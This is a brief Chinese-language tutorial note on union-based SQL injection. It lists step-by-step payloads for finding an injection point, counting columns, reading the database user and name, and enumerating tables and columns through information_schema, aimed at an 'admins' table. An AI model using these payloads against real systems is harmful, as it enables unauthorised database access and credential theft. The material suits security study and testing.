SQL注入之联合查询注入
知识点
union联合查询
order by
information_schema
limit
select * from table limit m,n
其中m是指记录开始的index,从0开始,表示第一条记录
n是指从第m+1条开始,取n条。
select * from tablename limit 2,4
即取出第3条至第6条,4条记录
联合查询的步骤为:
1、判断是否存在注入点。
‘and 1=1 #
‘and 1=2 #
2、判断所在的数据库有几列
'order by 1 #
3、判断他显示的内容在数据库的第几列
yiz’ union select 1 #
4、查找当前用户权限
yiz’ union select user() #
5、 查找当前数据库
yiz’ union select database() #
6、 查找数据库的表名
yiz’union select (select table_name from information_schema.tables where table_schema=‘grade’ limit 0,1) #
7、查询数据库中表下的字段
yiz’union select (select group_concat(column_name) from information_schema.columns where table_schema=‘grade’ and table_name=‘admins’)#
1235

被折叠的 条评论
为什么被折叠?



